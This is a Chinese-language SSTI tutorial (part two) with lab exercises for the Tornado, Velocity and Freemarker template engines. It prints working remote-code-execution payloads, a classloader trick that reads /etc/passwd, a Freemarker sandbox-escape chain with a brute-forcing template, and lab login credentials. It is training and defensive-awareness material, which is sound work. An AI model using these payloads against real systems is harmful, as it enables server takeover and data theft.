详解模板注入漏洞(下)

 

在上一篇文章中,我们为读者详细介绍了模版注入漏洞的概念,模版引擎的识别方法,以及两种模版引擎相关的注入漏洞。在本文中,我们将继续为读者介绍其他四种模版引擎相关的注入漏洞。

 

6. LAB 3: Tornado (Python)

简介

Tornado模板是Tornado(一款流行的Python Web框架)中的一个引擎。针对该模版的练习非常简单,这表明:有时候仅需阅读库文档就能找到强大的功能。

模板语法基础知识

Hello {{userName}}

基本数据绑定

攻击面

它比Jinja2简单多了。因为它支持import指令。这个指令的实现类似于Python的import。

{%import os%}

import指令前后需要加上{…}括号。

下面展示的是一个完整的payload,它用于导入os模块,并执行方法popen(即打开进程)。

{%import os%}

{{os.popen("whoami").read()}}

练习

为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8013/。

这个服务用于模拟下列情形:每次提交表单时都会发送一封邮件。

使用以上方法就可以利用这里的漏洞。

您可以访问服务器上的flag.txt文件了吗?

 

7. LAB 4: Velocity (Java)

简介

Velocity是最流行的Java模板引擎之一。而Freemarker则是另一个非常流行的选择。在本文中,我们之所以选择Velocity,是因为的利用难度要大一些。

模板语法基础知识

参考资料:Velocity的官方文档

攻击面

James Kettles发现的原始payload需要激活一个名为ClassTool的可选插件。

$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")

在本文中,将不会启用该插件。

Velocity支持为变量赋值。

#set( $foo = "bar" )

$foo

这个模式用于访问我们的目标类型。下面是一个实现命令执行功能的payload,但是这里不需要启用任何可选的插件。

#set($x='')##

#set($rt=$x.class.forName('java.lang.Runtime'))##

#set($chr=$x.class.forName('java.lang.Character'))##

#set($str=$x.class.forName('java.lang.String'))##

#set($ex=$rt.getRuntime().exec('ls'))##

$ex.waitFor()

#set($out=$ex.getInputStream())##

#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

练习

为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8013/。

要访问管理功能,请使用凭据admin/123456进行登陆。

使用以上方法就可以利用该漏洞。

您可以访问服务器上的flag.txt文件了吗?

 

8. LAB 5: Freemarker (Java)

简介

Freemarker是另一款流行的Java模板引擎。不过,它的发展速度要比Velocity快得多。

模板语法基础知识

${message}

${user.displayName}

参考资料:Freemarker官方文档

攻击面

内置函数

Freemarker具有一个特定的内置函数列表(在Freemarker文档中通常称为built-in)。这些内置函数可以作为变量的后缀使用。例如,${nbAverageUsers}可以转化为${nbAverageUsers?abs}。

abs, absoluteTemplateName, ancestors, api,

boolean, byte,

c, capFirst, capitalize, ceiling, children, chopLinebreak, chunk, contains, counter,

date, dateIfUnknown, datetime, datetimeIfUnknown, default, double, dropWhile,

endsWith, ensureEndsWith, ensureStartsWith, esc, eval, exists,

filter, first, float, floor,

groups,

hasApi, hasContent, hasNext, html,

ifExists, index, indexOf, int, interpret, isBoolean, isCollection, isCollectionEx, isDate, isDateLike, isDateOnly, isDatetime, isDirective, isEnumerable, isEvenItem, isFirst, isHash, isHashEx, isIndexable, isInfinite, isLast, isMacro, isMarkupOutput, isMethod, isNan, isNode, isNumber, isOddItem, isSequence, isString, isTime, isTransform, isUnknownDateLike, iso, isoH, isoHNZ, isoLocal, isoLocalH, isoLocalHNZ, isoLocalM, isoLocalMNZ, isoLocalMs, isoLocalMsNZ, isoLocalNZ, isoM, isoMNZ, isoMs, isoMsNZ, isoNZ, isoUtc, isoUtcFZ, isoUtcH, isoUtcHNZ, isoUtcM, isoUtcMNZ, isoUtcMs, isoUtcMsNZ, isoUtcNZ, itemCycle, itemParity, itemParityCap,

jString, join, jsString, jsonString,

keepAfter, keepAfterLast, keepBefore, keepBeforeLast, keys,

last, lastIndexOf, leftPad, length, long, lowerAbc, lowerCase,

map, markupString, matches, max, min,

namespace, new, nextSibling, noEsc, nodeName, nodeNamespace, nodeType, number, numberToDate, numberToDatetime, numberToTime,

parent, previousSibling,

removeBeginning, removeEnding, replace, reverse, rightPad, root, round, rtf,

seqContains, seqIndexOf, seqLastIndexOf, sequence, short, size, sort, sortBy, split, startsWith, string, substring, switch,

takeWhile, then, time, timeIfUnknown, trim, truncate, truncateC, truncateCM, truncateM, truncateW, truncateWM,

uncapFirst, upperAbc, upperCase, url, urlPath,

values,

webSafe, withArgs, withArgsLast, wordList,

xhtml, xml

所有内置函数的详细清单

从安全的角度来看,大多数内置函数都非常简单且乏味。但有一件事很特别,那就是new函数。我们可以在官方文件中阅读以下注意事项。

“这个内置函数可能存在安全问题,因为模板作者可以创建任意Java对象,然后使用它们,只要它们实现了TemplateModel的话。此外,模板作者甚至还可以为没有实现TemplateModel的类触发静态初始化。”资料来源:Freemarker docs: Built-in new

Execute类

按照官方描述,我们可以调用exec()函数(TemplateModel的入口方法)。通过其设计,Execute类允许我们执行命令并以字符串的形式获得命令执行结果。

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

练习

为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8025/。

要访问管理功能,请使用凭据admin/hackfest进行登陆。

通过以上方法就可以利用该漏洞。

您可以访问服务器上的flag.txt文件了吗?

潜在的防御机制

值得一提的是,Freemarker确实提供了一种方法来限制模板中的类引用,接下来的练习将按照文档中的描述实现一个ClassResolver。

“您可以(从2.3.17版本开始)使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)或者new_builtin_class_resolver设置来限制这个内置寒水可以访问哪些类。更多信息请参见Java API文档。如果您允许不太可信的用户上传模板,那么您务必深入研究一下这个话题。”资料来源: Freemarker docs: Built-in new

 

9. LAB 6: Freemaker (沙箱逃逸)

Freemarker中的沙盒

Freemarker具有过滤哪些类允许访问的功能。例如,需要实现TemplateClassResolver类的子类,这个类将决定模板中的类引用是否被允许。

<ul>

<#list .data_model?keys as key>

<li>${key}</li>

</#list>

</ul>

或者:

${.data_model.keySet()}

查找对类加载器的引用

Classloader类的实例有可能给我们提供远程代码执行(RCE)权限。例如,类加载器可以从外部提供方法加载类(Java字节码)。

以下是可能返回Classloader的常见位置列表。

java.lang.Class.getClassLoader()

java.lang.Thread.getCurrentClassLoader()

java.lang.ProtectionDomain.getClassLoader()

javax.servlet.ServletContext.getClassLoader()

org.osgi.framework.wiring.BundleWiring.getClassLoader()

org.springframework.context.ApplicationContext.getClassLoader()

这些API将转换为以下Freemarker语法形式。

//java.lang.Object.getClass() -> java.lang.Class.getClassLoader()

${any_object.class.classLoader}

//javax.servlet.ServletRequest -> javax.servlet.ServletContext.getClassLoader()

${request.servletContext.classLoader}

并非所有的类加载器都是相同的

尽管不同的类加载器可能有一个公共的子类,但是,它们的实现却差别很大。不同的Web容器(托管Java应用的Web服务器)在运行时将使用不同的类加载器。因此,我们需要调整我们的payload来锁定正确的目标。

读取文件/目录列表

<#assign uri = classLoader.getResource("META-INF").toURI() >

<#assign url = uri.resolve("file:///etc/passwd").toURL() >

<#assign bytes = url.openConnection().inputStream.readAllBytes() >

${bytes}

(Payload来源:Room for Escape: Scribbling Outside the Lines of Template Security)

在我们的测试中,我们发现到字节数组不会自动转换为字符串。规避该限制的一种方法是每次提取一个字节。

${bytes[0]}

${bytes[1]}

${bytes[2]}

[...]

别忘了,字节是以十进制格式打印的。

通用方法

Oleksandr Mirosh和Alvaro Mu?oz 在他们的文章中详细介绍了Web容器特有的各种链条。这些容器包括Tomcat、Jetty、GlassFish、WebLogic和WebSphere。如果您想寻找Freemarker之外的沙盒的逃逸技术,这些都是一个很好的灵感来源。

然而,如果您的目标是利用当前的模板引擎,则存在一个通用的payload(也是来自上面提及的同一篇文章),适用于Freemarker 2.3.29以及更低版本(2020年3月以及修复了该漏洞)。为此,您需要在数据模型中找到一个作为对象的变量。

<#assign classloader=<<object>>.class.protectionDomain.classLoader>

<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>

<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>

<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>

${dwf.newInstance(ec,null)("whoami")}

这里是一个模板,它将对数据模型中的所有变量进行暴力枚举。

<#list .data_model as key, object_test>

<b>Testing "${key}":</b><br/>

<#attempt>

<#assign classloader=object_test.class.protectionDomain.classLoader>

<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>

<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>

<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>

Shell ! (

${dwf.newInstance(ec,null)("id")}

)

<#recover>

failed

</#attempt>

<br/><br/>

</#list>

练习

为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8026/。

该应用程序与之前的基本相同,唯一区别在于:它被配置为只能访问有限的类,因此,这里将无法直接使用Execute类。

要访问管理功能,请使用凭证admin/hackfest进行登陆。

这个应用程序看上去与之前的应用程序非常相似。最后,请验证您是否连接到了8026端口。

 

10. 结束语

事实上,由于模板引擎的功能是如此强大,以至于必须将其视为脚本来对待。而脚本需要具有非常好的沙箱保护功能,否则的话,就需要通过用户权限来限制对这些具有安全风险功能的访问。因为在很多情况下,它们可能会危及底层操作系统。

 

参考文献

Server-Side Template Injection [Slides] | [White-paper] by James Kettle

Room for Escape: Scribbling Outside the Lines of Template Security [Slides] | [White-paper] by Oleksandr Mirosh and Alvaro Muñoz

Exploitation of Server Side Template Injection with Craft CMS (Twig template)

Cheatsheet – Flask & Jinja2 SSTI

PayloadsAllTheThings: Community Github repository

(完)